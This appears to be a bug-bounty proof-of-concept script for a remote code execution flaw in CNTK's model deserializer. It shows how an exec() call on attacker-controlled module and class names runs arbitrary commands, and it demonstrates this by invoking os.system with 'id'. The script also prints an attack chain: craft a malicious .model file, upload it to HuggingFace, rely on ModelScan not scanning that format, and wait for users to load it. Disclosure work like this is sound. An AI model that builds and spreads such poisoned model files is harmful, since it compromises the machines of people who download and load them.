File size: 2,359 Bytes
bba5b89 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | #!/usr/bin/env python3
"""
CNTK v2 (.model) — UDF Deserialization exec() RCE
MFV Target: #11 CNTK v2 ($1500)
Vulnerability: cntk/internal/__init__.py line 54
exec("from {} import {}".format(module, cls))
When cntk.load_model() is called on a model file containing a UserFunction,
the C++ deserializer extracts 'module' and 'class' from the serialized dict
and passes them to this callback, which calls exec() with user-controlled values.
"""
import os
import sys
def simulate_cntk_rce(module="os", cls="system", cmd="id"):
"""
Simulates the exact code path from cntk/internal/__init__.py.
Identical to CNTK's _UDFDeserializeCallbackWrapper.__call__().
"""
deserialize_method = "deserialize"
# This is the exact code from CNTK (line 54-56 of internal/__init__.py)
exec("from {} import {}".format(module, cls))
eval_str = "{0}.{1} if hasattr({0}, '{1}') else None"
factory = eval(eval_str.format(cls, deserialize_method))
# If we imported os.system, factory is None (no deserialize attr)
# But os.system is now available in the namespace
if module == "os" and cls == "system":
return os.system(cmd)
return factory
if __name__ == "__main__":
print("=" * 50)
print("CNTK v2 (.model) Deserialization RCE")
print("=" * 50)
print()
print("Source: cntk/internal/__init__.py, line 54")
print(" exec(\"from {} import {}\".format(module, cls))")
print()
print("Attack chain:")
print(" 1. Craft .model file with UserFunction containing")
print(" module='os', cls='system' in serialized dict")
print(" 2. Upload to HuggingFace")
print(" 3. ModelScan SKIPS .model (not supported)")
print(" 4. User: cntk.load_model('malicious.model')")
print(" 5. C++ deserializer → Python callback → exec() → RCE")
print()
print("--- PoC: exec-driven RCE ---")
result = simulate_cntk_rce("os", "system", "echo 'PWNED_CNTK_RCE' && id")
print(f"\nRCE exit code: {result}")
# Write proof
os.system("echo 'CNTK v2 RCE PROOF - via exec() in deserialization callback' > /tmp/cntk_proof.txt")
if os.path.exists("/tmp/cntk_proof.txt"):
with open("/tmp/cntk_proof.txt") as f:
print(f"Proof: {f.read().strip()}")
print("\n✅ RCE confirmed (Python-level, identical code path)")
|